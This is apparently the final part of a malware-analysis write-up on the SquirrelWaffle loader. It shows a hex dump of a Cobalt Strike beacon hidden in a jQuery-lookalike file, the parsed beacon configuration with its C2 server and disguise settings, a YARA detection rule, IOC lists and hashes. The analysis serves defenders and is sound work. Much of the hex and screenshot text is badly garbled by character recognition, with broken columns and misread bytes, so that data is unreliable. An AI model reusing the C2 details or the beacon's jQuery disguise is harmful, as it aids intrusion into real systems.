00001340 00001380	78 6E	0A F8 4C C4	8 E9 4 7D	CB EB 0B 3D	3D 7 A6 8	4 E7 : F BD 1	55 39 66 13	3C 5H 2C A6	F 0E C 6 D1 C	0 2E E 44	9D 24 43 3F	57 6 16 0	6 B0 A 30	54 D1 CC 05	5E 21 0F 21	37 C	AA 7 08 B	F 4D E 19 9	74 AA 9E 3B	9A 96 F6 34	5 36 6 1 E7 8	69 94 80 DA	C9 41 84 E0	B 35 1 C 37 E	C 68	F7 21 EE 93	91 60 9E A0	41 C 87 6	0 C5 5 1C	29 21 48 72	0E DF 2E 22	5E 8E 7A 3A	ED EO 6A DF	57 22 39 F2	BE E1	4B 1C E Al E9 E	D2 x. B8 nL	øéËe=tçU9<À\$₩f°TÑ^*7Ä*.Mt°š-61″ÉK5.h+!``ÀÀÅ)!.B^Žià₩"%áK.ć Å}.=¦.%æ.,¦ÑÎDC?0Ì!ì%.ž;ö4ç€Ű"ì7é~ ‡e.Hr."z:jB9òóf;é,
•																																						
00034240	6F	80 6B	3D 6	6F 80	6B 31	6F 8	0 6B	3D 6F	80 61	B 3D (6F 80	6B 3I	D 6F 8	0 6B	3D 6F	80 6E	3D 61	80 E	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 31	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	3D o€	k=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oE
00034280	6F	80 6B	3D e	6 F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 3D 6	6F 80	6B 3I	D 6F 8	30 6B	3D 6F	80 6E	3D 6E	80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 3I	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€
000342C0	6F	80 6B	3D e	6 F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 3D 6	6 F 80	6B 3I	D 6F 8	80 6B	3D 6F	80 6E	3D 6B	80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 3I	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€
00034300	6F	80 6B	3D 6	6F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 3D 6	6F 80	6B 3I	D 6F 8	80 6B	3D 6F	80 6E	3D 6E	80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 31	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oEk=oE
00034340	6F	80 6B	3D e	6 F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 3D 6	6F 80	6B 3I	D 6F 8	30 6B	3D 6F	80 6E	3D 6E	80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 3I	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€
00034380	6F	80 6B	3D 6	6 F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 3D 6	6 F 80	6B 3I	D 6F 8	30 6B	3D 6F	80 6E	3D 6E	80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 3I	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€
000343C0	6F	80 6B	3D 6	6 F 80	6B 31	6F 8	0 6B	3D 6F	80 61	B 3D 6	6F 80	6B 3I	D 6F 8	80 6B	3D 6F	80 6E	3D 6E	r 80 e	B 3D	6F 80	6B 3	D 6F	80 6E	3D 6	F 80 6	B 3D	6F 80	6B 31	D 6F 8	0 6B	3D 6F	80 6B	3D 6F	80 6B	3D 6F	80 6B 3	BD o€	k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€k=o€
00034400	6F	80 6B	3D e	6F 80	6B 3I	6F 8	0 6B	3D 6F	80 61	B 22 2	2E 28	6F 31	D 74 3	2E 64	6F 63	75 6	65 6 E	74 4	5 6C	65 6D	65 6	E 74	2C 4I	61 7	4 68 2	E 6D	61 78	28 74	4 2E (2 6F	64 79	5B 22	73 63	72 6F	6C 6C	22 2B 6	65 o€	k=o€k=o€k=o€k".(o=t.documentElement,Math.max(t.body["scroll"+e
00034440	5D	2C 6F	5B 2	22 73	63 72	6F 6	C 6C	22 2B	65 51	D 2C 1	74 2E	62 61	F 64 1	79 5B	22 6F	66 66	73 65	74 2	2 2B	65 5D	2C 6	F 5B	22 6F	66 6	6 73 6	5 74	22 2B	65 51	D 2C 6	F 5B	22 63	6C 69	65 6E	74 22	2B 65	5D 29 2	29],	o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e]))
00034480	ЗA	76 6F	69 6	64 20	30 3E	3D 3	D 69	3F 77	2E 6	3 73 1	73 28	74 20	C 6E 2	2C 73	29 3A	77 2E	73 74	79 6	C 65	28 74	2C 6	E 2C	69 20	: 73 2	9 7D 2	C 74	2C 61	3F 69	9 3A 1	6 6F	69 64	20 30	2C 61	29 7D	7D 29	7D 29 2	2C :V	oid 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}))),
000344C0	77	2E 65	61 6	63 68	28 22	62 E	C 75	72 20	66 61	F 63 7	75 73	20 66	6 6F (53 75	73 69	6E 20	66 6 8	63 7	5 73	6F 75	74 2	0 72	65 73	69 7	A 65 2	0 73	63 72	6F 60	c 6C 2	0 63	6C 69	63 6B	20 64	62 6C	63 6C	69 63 6	6B w.	each("blur focus focusin focusout resize scroll click dblclick
00034500	20	6D 6F	75 7	73 65	64 6F	77 6	E 20	6D 6F	75 7	3 65 1	75 70	20 61	D 6F 1	75 73	65 6 D	6F 76	65 20	6D 6	F 75	73 65	6F 7	6 65	72 20	6D 6	F 75 7	3 65	6F 75	74 20	0 6D 6	F 75	73 65	65 6E	74 65	72 20	6D 6F	75 73 6	65 m	ousedown mouseup mousemove mouseover mouseout mouseenter mouse
00034540	6C	65 61	76 6	65 20	63 68	61 6	E 67	65 20	73 6	5 6C 6	65 63	74 20	0 73 1	75 62	6D 69	74 20	6B 65	5 79 6	4 6F	77 6E	20 6	B 65	79 70	72 6	5 73 7	3 20	6B 65	79 75	5 70 2	0 63	6F 6E	74 65	78 74	6D 65	6E 75	22 2E 7	73 le	ave change select submit keydown keypress keyup contextmenu".s
00034580	70	6C 69	74 2	28 22	20 22	29 2	C 66	75 6E	63 7	4 69 6	6F 6E	28 65	5 2C 1	74 29	7B 77	2E 66	6E 5E	3 74 5	D 3D	66 75	6E 6	3 74	69 6 E	6E 2	8 65 2	C 6E	29 7B	72 65	5 74 1	5 72	6E 20	61 72	67 75	6D 65	6E 74	73 2E 6	5C pl	it(" "),function(e,t){w.fn[t]=function(e,n){return arguments.1
000345C0	65	6E 67	74 6	68 3E	30 3F	74 6	8 69	73 2E	6F 61	E 28 1	74 2C	6E 75	5 6C (5C 2C	65 2 C	6E 29	3A 74	68 6	9 73	2E 74	72 6	9 67	67 65	72 2	8 74 2	9 7D	7D 29	2C 71	7 2E 🤅	6 6E	2E 65	78 74	65 6E	64 28	7B 68	6F 76 6	65 en	gth>0?this.on(t,null,e,n):this.trigger(t)}),w.fn.extend({hove
00034600	72	3A 66	75 6	6 E 63	74 69	6F 6	E 28	65 2C	74 2	9 7B 1	72 65	74 75	5 72 (5E 20	74 68	69 73	2E 6I	6F 7	5 73	65 65	6E 7	4 65	72 28	65 2	9 2E 6	D 6F	75 73	65 60	C 65 6	1 76	65 28	74 7C	7C 65	29 7D	7D 29	2C 77 2	2E r:	function(e,t){return this.mouseenter(e).mouseleave(t e)}}),w.
00034640	66	6E 2E	65 7	78 74	65 6E	64 2	8 7B	62 69	6E 6	4 3A (66 75	6E 63	374 (59 6 F	6E 28	65 20	74 20	6E 2	9 7B	72 65	74 7	5 72	6E 20	74 6	8 69 7	3 2E	6F 6E	28 65	5 2C 6	E 75	6C 6C	2C 74	2C 6E	29 7D	2C 75	6E 62 6	59 fn	.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbi
00034680	6E	64 3A	66 7	75 6E	63 74	69 e	F 6E	28 65	2C 7	4 29 1	7B 72	65 74	4 75 1	72 6E	20 74	68 69	73 2E	6F 6	6 66	28 65	2C 6	E 75	6C 6C	2C 7	4 29 7	D 2C	64 65	6C 65	5 67 6	1 74	65 3A	66 75	6E 63	74 69	6F 6E	28 65 2	2C nd	:function(e,t){return this.off(e,null,t)},delegate:function(e,
000346C0	74	2C 6E	2C 7	72 29	7B 72	65 7	4 75	72 6E	20 7	4 68 6	69 73	2E 6H	F 6E 2	28 74	2C 65	2C 6E	2C 72	29 7	D 2C	75 6E	64 6	5 6C	65 67	61 7	4 65 3	A 66	75 6E	63 74	4 69 6	F 6E	28 65	2C 74	2C 6E	29 7B	72 65	74 75 7	72 t,	n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){retur
00034700	6E	20 31	3D 3	3D 3D	61 72	67 7	5 6D	65 6E	74 7	3 2E (6C 65	6E 67	7 74 (58 3F	74 68	69 73	2E 6E	66 6	6 28	65 2C	22 2	A 2A	22 29	3A 7	4 68 6	9 73	2E 6F	66 66	6 28 1	4 2C	65 7C	7C 22	2A 2A	22 2C	6E 29	7D 7D 2	29 n	<pre>l===arguments.length?this.off(e,"**"):this.off(t,e "**",n)}))</pre>
00034740	2C	77 2E	70 7	72 6F	78 79	3D 6	6 75	6E 63	74 6	9 6F 6	6E 28	65 20	C 74 2	29 7B	76 61	72 20	6E 20	72 2	C 69	3B 69	66 2	8 22	73 74	72 6	9 6E 6	7 22	3D 3D	74 79	9 70 6	5 6F	66 20	74 26	26 28	6E 3D	65 5B	74 5D 2	2C ,W	.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],
00034780	74	3D 65	2C 6	65 3D	6E 29	2C 6	7 28	65 29	29 7	2 65 1	74 75	72 6H	E 20 1	72 3D	6F 2E	63 61	6C 60	28 6	1 72	67 75	6D 6	5 6E	74 73	2C 3	2 29 2	C 69	3D 66	75 6H	E 63 1	4 69	6F 6E	28 29	7B 72	65 74	75 72	6E 20 6	65 t=	e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e
000347C0	2E	61 70	70 6	6C 79	28 74	7C 7	C 74	68 69	73 20	2 72 2	2E 63	6F 6E	E 63 (51 74	28 6F	2E 63	61 60	6C 2	8 61	72 67	75 6	D 65	6E 74	73 2	9 2 9 2	9 7D	2C 69	2E 61	7 75 🤅	9 64	3D 65	2E 67	75 69	64 3D	65 2E	67 75 6	59 .a	pply(t this,r.concat(o.call(arguments)))},i.guid=e.guid=e.gui
00034800	64	7C 7C	77 2	2E 67	75 69	64 2	B 2B	2C 69	7D 20	2 77 2	2E 68	6F 60	C 64 5	62 65	61 64	79 3	66 75	6E 6	3 74	69 6F	6E 2	8 65	29 7E	65 3	F 77 2	E 72	65 61	64 79	9576	1 69	74 2B	2B 3A	77 2E	72 65	61 64	79 28 2	21 d	<pre> w.guid++,i},w.holdReady=function(e) {e?w.readyWait++:w.ready(!</pre>
00034840	30	29 7D	2C 7	77 2E	69 73	41 7	2 72	61 79	3D 4	1 72 1	72 61	79 2E	E 69 1	73 41	72 72	61 79	2C 77	2E 7	0 61	72 73	65 4	A 53	4F 4E	3D 4	A 53 4	F 4E	2E 70	61 72	2 73 6	5 2C	77 2E	6E 6F	64 65	4E 61	6D 65	3D 4E 2	2C 0)	},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,
00034880	77	2E 69	73 4	46 75	6E 63	74 €	9 6F	6E 3D	67 20	2 77 2	2E 69	73 51	7 69 6	5E 64	6F 77	3D 79	2C 77	2E 6	3 61	6D 65	6C 4	3 61	73 65	3D 4	7 2C 7	7 2E	74 79	70 65	5 3D 1	8 2C	77 2E	6E 6F	77 3D	44 61	74 65	2E 6E 6	5F w.	isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.no
000348C0	77	2C 77	2E 6	69 73	4E 75	6D 6	5 72	69 63	3D 6	675 6	6E 63	74 69	9 6F (5E 28	65 29	7B 76	61 72	20 7	4 3D	77 2E	74 7	9 70	65 28	65 2	9 3B 7	2 65	74 75	72 6H	E 28 2	2 6E	75 6D	62 65	72 22	3D 3D	3D 74	7C 7C 2	22 w,	w.isNumeric=function(e){var t=w.type(e);return("number"===t "
00034900	73	74 72	69 6	6E 67	22 3E	3D 3	D 74	29 26	26 2	1 69 1	73 4E	61 4H	E 28 (55 2D	70 61	72 73	65 46	6 6C 6	F 61	74 28	65 2	9 29	7D 20	22 6	6 75 6	E 63	74 69	6F 6B	E 22 3	D 3D	74 79	70 65	6F 66	20 64	65 66	69 6E 6	65 st	ring"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define
00034940	26	26 64	65 €	66 69	6E 65	2E €	1 6D	64 26	26 6	4 65 6	66 69	6E 65	5 28 2	22 6A	71 75	65 72	79 22	2C 5	B 5D	2C 66	75 6	E 63	74 69	6F 6	E 28 2	9 7B	72 65	74 75	5 72 6	E 20	77 7D	29 3B	76 61	72 20	4A 74	3D 65 2	2E &&	define.amd&&define("jquery",[],function(){return w});var Jt=e.
00034980	6A	51 75	65 7	72 79	2C 4E	74 3	D 65	2E 24	3B 7	2 65 7	74 75	72 6E	E 20 1	77 2E	6E 6F	43 6	6E 66	6 6 C 6	9 63	74 3D	66 7	5 6E	63 74	69 6	F 6E 2	8 74	29 7B	72 65	5 74 1	5 72	6E 20	65 2E	24 3D	3D 3D	77 26	26 28 6	65 jQ	uery, Kt=e.\$; return w.noConflict=function(t) {return e.\$===w&& (e
000349C0	2E	24 3D	4B 7	74 29	2C 74	26 2	6 65	2E 6A	51 7	5 65 1	72 79	3D 3I	D 3D 1	77 26	26 28	65 2E	6A 51	75 6	5 72	79 3D	4A 7	4 29	2C 77	7D 2	C 74 7	C 7C	28 65	2E 67	A 51 1	5 65	72 7 9	3D 65	2E 24	3D 77	29 2C	77 7D 2	29 .\$	=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t (e.jQuery=e.\$=w),w})
00034A00	3B	00 00	00 0	00 00	00 00	00 0	0 00	00 00	00 0	0 00 0	00 00	00 00	0 00 0	00 00	00 00	00 00	00 00	00 0	0 00	00 00	00 0	00 00	00 00	00 0	0 00 0	00 00	00 00	00 00	0 00 0	00 00	00 00	00 00	00 00	00 00	00 00	00 00 0	; 00	

000012C0 A3 65 DF E5 E7 1A 49 CA A8 21 7E B8 3F 1B C2 53 B6 18 26 2B 55 9B 88 A6 74 48 D7 09 1B 9D 1D AA C3 AB 20 8B 6E 0D 69 14 94 E7 80 0E 5E E2 ED 2A 5E 7C 09 49 02 58 E5 1B 9A A7 D8 34 26 37 37 45 £eBåç.IÊ":~,?.ÅSg.&+U>^tH×....*Å« n.i." \varple ~...*Å 00001300 F5 D2 E1 A4 4E 76 5D 21 18 08 D7 E4 E4 8C 37 BA 33 8E 4A 0A 91 49 03 3A AD A2 1F C3 0A 38 B8 25 A9 A0 B1 85 DE 6F 4A FA 43 FD 11 F5 03 55 D1 A7 AB 44 27 42 34 34 7E 24 91 D8 C2 D6 63 08 4A 73 804mmy]...×aacroadcoversionale to a state of the st

Dump the memory page

Extract the PE-DLL from dumped page

Offsets for extraction: Begin 0xFAF -- End 0x3440E

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	Dekodierter Text
00000F70	28	76	61	72	20	6E	3D	30	2C	72	3D	65	2E	6C	65	6E	(var n=0,r=e.len
00000F80	67	74	68	3B	6E	3C	72	3B	6E	2B	2B	29	69	66	28	65	gth;n <r;n++)if(e< td=""></r;n++)if(e<>
00000F90	5B	6E	5D	3D	ЗD	3D	74	29	72	65	74	75	72	6E	20	6E	[n]===t)return n
00000FA0	3B	72	65	74	75	72	6E	2D	31	7D	2C	50	ЗD	22	0D	FC	;return-1},P=".ü
00000FB0	E8	18	00	00	00	EA	44	41	44	A2	FF	A3	Α7	91	B1	D3	èêDAD¢ÿ£§`±Ó
00000FC0	8D	7D	20	B9	2C	34	33	76	02	75	8F	D9	30	EB	27	5E	.} ',43v.u.ÙOë'^
Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	Dekodierter Text
00034350	6F	80	6B	3D	o€k=o€k=o€k=o€k=												
00034360	6F	80	6B	ЗD	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	3D	o€k=o€k=o€k=o€k=
00034370	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	3D	6F	80	6B	3D	o€k=o€k=o€k=o€k=
00034380	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=												
00034390	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=												
000343A0	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=												
000343B0	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	ЗD	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=
000343C0	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	ЗD	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=
000343D0	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	ЗD	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=
000343E0	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=												
000343F0	6F	80	6B	ЗD	6F	80	6B	3D	6F	80	6B	ЗD	6F	80	6B	ЗD	o€k=o€k=o€k=o€k=
00034400	6F	80	6B	ЗD	6F	80	6B	ЗD	6F	80	6B	ЗD	6F	80	6B	22	o€k=o€k=o€k=o€k"
00034410	2E	28	6F	3D	74	2E	64	6F	63	75	6D	65	6E	74	45	6C	.(o=t.documentEl

Analyze it using Cobalt Strike Parser!

3620000	00400000			
70310 70311	Follow in Disassembler		1	Executable code
70325 7032A	Eollow in Dump			Initialized data Import tables
7032B	Dump Memory to File			Resources
7032D 💭	<u>C</u> omment	;		Base relocations
70331	Eind Pattern	Ctrl+B		Executable code Initialized data
70344				Import tables

C:\Tools\CobaltStrikeParser>pytho BeaconType	n parse_beac - HTTPS	on_config.py \Mal	ware\sqw\stage5\b	eacon.dll						
Port	- 8080									
SleepTime	- 45000									
MaxGetSize	- 1403644									
Jitter	- 37									
MaxDNS	- Not Found									
PublicKey_MD5	- e9ae865f5c	035176457188409f	6020a							
C2Server	- systemment	orsec.com,/jquery	-3.3.1.min.js,213	.227.154.92,/jquery-3.3.1.	min.js					
erAgent - Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko										
ttpPostUri - /jquery-3.3.2.min.js										
Malleable_C2_Instructions	- Remove 152	2 bytes from the	end							
Remove 84 bytes from the beginning										
Remove 3931 bytes from the beginning										
Base64 URL-safe decode										
XOR mask w/ random key										
HttpGet_Metadata	- ConstHeade	S								
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8										
Referer: http://code.jque	ry.com/	Spawnto_x86		- %windir%\syswow64\dllhost	t.exe					
Accept-Encoding: gzip, de	flate	Spawnto_x64		- %windir%\sysnative\dllhos	st.exe					



Recap



YARA •

SquirrleWaffle 7 days ago rule SquirrelWaffle { meta: description = "Detects SquirrelWaffle Loader" date = "2021-09-23" author = "@jxd_io" strings: \$config_decryption = {F77530837D1C108D4D088D4520C645CC000F434D0883... SquirreWaffle

To detect the SquirrelWaffle loader i created a YARA rule based on the decryption function used in Stage 3

	rule Loader.SquirrelWaffle {
	meta:
	author = "@jxd_io"
	description = "Detects SquirrelWaffle Loader"
	date = "2021-09-23"
	strings:
	<pre>\$config_decryption = {F77530837D1C108D4D088D4520C645CC000F434D08837D34100F4345208A04103204398D4DCC0FB6C0}</pre>
	condition:
	uint16(0) == 0x5a4d and filesize < 1MB and all of them
.2	}

https://github.com/0xjxd/YARA-rules/blob/main/Loader.SquirrelWaffle.yara

$\stackrel{\rightarrow}{\leftarrow}$	LIVEHUNT NOTIFICATIONS	○ tag:"SquirrleWaffle"	?	4Þ (~	ŵ	≒	œ	X 9		þ	$\underline{\vee}$
		Rule	Detections	Size		First seer	1	Matched on	Submitte	rs	
6095F	96DD5ECA96A3FB9338EEC4AB574921C0FEBB36F6A6DB) d6257665f634b5566e15bc62e90c809.virus (invalid-rich-pe-linker-version)	SquirrelWaffle SquirrleWaffle	22 / 67	72.00 KE	3	2021-09-2 01:09:18	29 5	2021-09-29 02:09:35	1		DLL DLL
B0441 © © pedll	BCG3773E1719AAC9ACBD99F6E72BDD31017038E5E26A) ③ squirrel_unpacked.dll [nvald-rich-pe-linker-version detect-debug-environment long-sleeps makware	SquirrleWaffle SquirrleWaffle	10 / 6 6	58.50 KE	3	2021-09-2 19:59:40	28 D	2021-09-28 20:59:48	1		DLL DLL
0B77D	31986F63795FC21EE5550C830B82C03E5FB666144935) ⓒ 475ac7.dll Invald-rich-pe-Inker-version overlay	SquirrleWaffle SquirrleWaffle	13 / 67	101.31 K	В	2021-09-2 15:22:46	28 5	2021-09-28 16:22:56	1		DLL DLL
15648 © © pedll	4EA4614553E22E5356AE521EEFB5E90F788090B35C3B)	Adl1 SquirrelWaffle SquirrleWaffle	7 / 66	50.98 KE	3	2021-09-2 21:38:56	27 5	2021-09-27 22:39:05	1		DLL DLL
4059C @ @ pedil	ECE6EA7EC1DBD1A1BD8F3519136BD901927B0D5523A8) ©6de4193fb2eeb8dd92d6662d60393ebd483a54bac80fb0b44_unpacked [nvald-rich-pe-linker-version overlay delect-debug-environment long-sleeps m	I.dll SquirrelWaffle SquirrleWaffle	7 / 67	62.44 KE	3	2021-09-2 20:57:23	27 3	2021-09-27 21:57:33	1		DLL DLL
CCD8A © © pedil	0988A8838566DB9201AF244A40700AE6AB4EE996CF0) © unpacked_ldr_loader.dll [nvald-nch-pe-linker-version]	SquirrelWaffle SquirrleWaffle	34 / 68	64.00 KE	3	2021-09-1 13:20:30	14 D	2021-09-26 04:23:18	1		DLL DLL
C88F8 © © pedll	D086BE8DD345BABAD15C76490EF889AF7EAECB015F31)be8dd345babad15c76490ef889af7eaecb015f3107ff039f0ed5f2d.sa [nvald-rich-pe-inker-version]	mple SquirrelWaffle SquirrleWaffle	32 / 67	68.00 KE	3	2021-09-1 23:16:49	17 9	2021-09-24 17:09:24	1		DLL DLL
4A17B @ @ pedll	A3C9D23D3B88FE2C87CFBFA1D09BECFC57663EC1871E)	SquirrleWaffle SquirrleWaffle	26 / 68	72.00 KE	3	2021-09-1 14:13:38	17 5	2021-09-24 02:31:42	1		DLL DLL
6CECA	37E8752B967B3AED7677E415489C0724840C284044FB © tr_dump.bin invald-rich-pe-linker-version overlay	SquirrleWaffle SquirrleWaffle	5 / 65	376.00 K	В	2021-09-1 03:24:59	14 9	2021-09-24 01:33:28	1		

019

IOCs

Stage 1 - 2

Dropper Server

hxxps://priyacareers.com hxxps://perfectdemos.com hxxps://bussiness-z.ml hxxps://cablingpoint.com hxxps://bonus.corporatebusinessmachines.co.in

• Stage 4 - 6

Cobalt Strike Server hxxps://systemmentorsec.com:8080/jquery-3.3.1.min.js

Stage 3

CnC Server

hxxp://celulasmadreenmexico.com.mx hxxp://gerencial.institutoacqua.org.br hxxp://dashboard.adlytic.ai hxxp://bussiness-z.ml hxxp://ifiengineers.com hxxp://bonusvulkanvegas.srdm.in hxxp://ebrouteindia.com hxxp://test.dirigu.ro hxxp://cablingpoint.com hxxp://perfectdemos.com hxxp://afrizam.360cyberlink.com hxxp://giasuphire.tddvn.com hxxp://priyacareers.com hxxp://assurant.360cyberlink.com hxxp://sig.institutoacqua.org.br

Sample Hashes

Stage 1: f0a3d4e47b098d302ad13bc4e51a03adeb9428e5c34630428222e989792f7a6d **Stage 2**: 00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c **Stage 3**: ab05d6335b06a0dbc41386c7c356202b4e07dcf76a4932ed4d4e7dd69b7a3101 **Stage 4**: 3c280f4b81ca4773f89dc4882c1c1e50ab1255e1975372109b37cf782974e96f **Stage 5**: 964c5933844de7ed5a7813cdb36b9974a5a819b046e73a0bc6754d7299374a9f **Stage 6**: 804f83a9754cfa2e43f167cc22980b1eca2ff11c05029e7ce0a8c2aae524a8b5